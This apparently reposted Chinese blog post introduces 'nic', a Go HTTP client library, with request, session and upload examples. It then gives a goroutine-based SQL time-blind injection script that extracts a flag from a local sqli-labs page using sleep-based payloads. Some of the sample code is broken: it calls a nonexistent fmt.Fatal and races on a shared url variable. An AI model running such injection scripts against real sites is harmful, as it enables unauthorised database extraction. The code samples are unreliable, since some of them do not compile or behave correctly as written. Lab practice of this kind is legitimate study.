内容简介:对Golang HTTP标准库进行了封装,提供了更易用优雅的API,类似于Python-requests之于Python-urllib的封装示例代码
对Golang HTTP标准库进行了封装,提供了更易用优雅的API,类似于Python-requests之于Python-urllib的封装
示例代码
import ( "github.com/eddieivan01/nic" ) func main() { url := "http://example.com" resp, err := nic.Post(url, &nic.H{ JSON: nic.KV { "hello": "world", }, Headers: nic.KV{ "X-Forwarded-For": "127.0.0.1", }, }) if err != nil { fmt.Fatal(err.Error()) } fmt.Println(resp.Text) // 修改响应编码 err = resp.SetEncode("gbk") if err != nil { fmt.Fatal(err.Error()) } fmt.Println(resp.Text) }
// session 保持Cookie session := &nic.Session{} session.Post("http://example.com/login", &nic.H{ Data: nic.KV{ "uname": "nic", "passwd": "nic", } }) resp, _ := session.Get("http://example.com/userinfo", nil) fmt.Println(resp.Text)
// 上传文件 resp, err := nic.Post(url, &nic.H{ Files : nic.F{ "file" : nic.KV{ // `filename`为必须参数,本地文件路径 // 将会把`nic.go`作为MIME表单的filename "filename" : `/home/nic/nic.go`, "token" : "0xff", }, }, })
最近就试了试,SQL时间盲注脚本,结合goroutine速度快过SQLmap --threads 8
package main import ( "fmt" "time" "github.com/eddieivan01/nic" ) var flag = [32]byte{} func display() { for { time.Sleep(time.Duration(1) * time.Second) fmt.Println(string(flag[:])) } } func main() { payload := `select flag from flag` var url string for i := 1; i < 30; i++ { go func(i int) { for _, j := range []byte("{}qwertyuioplkjhgfdsazxcvbnm098764321_") { url = fmt.Sprintf("http://127.0.0.1/sqli/Less-1/?id=1' and if(mid((%s),%d,1)='%v',sleep(3),0)-- -", payload, i, string(j)) _, err := nic.Get(url, &nic.H{ Timeout: 3, }) if err != nil { flag[i-1] = byte(j) return } } }(i) } display() }
欢迎大家提出 增加新features/改进现有 的意见
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 详解nginx的请求限制(连接限制和请求限制)
- angular请求防抖,以及处理第一次请求失效
- RxHttp 一条链发送请求,新一代Http请求神器(一)
- RxHttp 一条链发送请求,新一代Http请求神器(一)
- 利用Jsonp跨域请求数据(原生和Jquery的ajax请求),简单易懂!
- Python网络请求库Requests,妈妈再也不担心我的网络请求了
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
新媒体运营实战技能
张向南 勾俊伟 / 人民邮电出版社 / 2017-5 / 39.80元
《新媒体运营实战技能》共7章。第1章重点介绍了新媒体图片的创意思路及制作技巧,包括微信公众号封面图、信息长图、icon图标、九宫图、gif图片的具体实战操作;第2章重点介绍了创意云文字、微信排版、滑动看图等新媒体文字的排版方法与处理技巧;第3章是新媒体表单,引导读者对表单结构、设计场景及具体应用全面了解;第4章关于H5的创意思路及制作方法,解析了引发H5传播的心理因素,并重点介绍H5的制作工具与具......一起来看看 《新媒体运营实战技能》 这本书的介绍吧!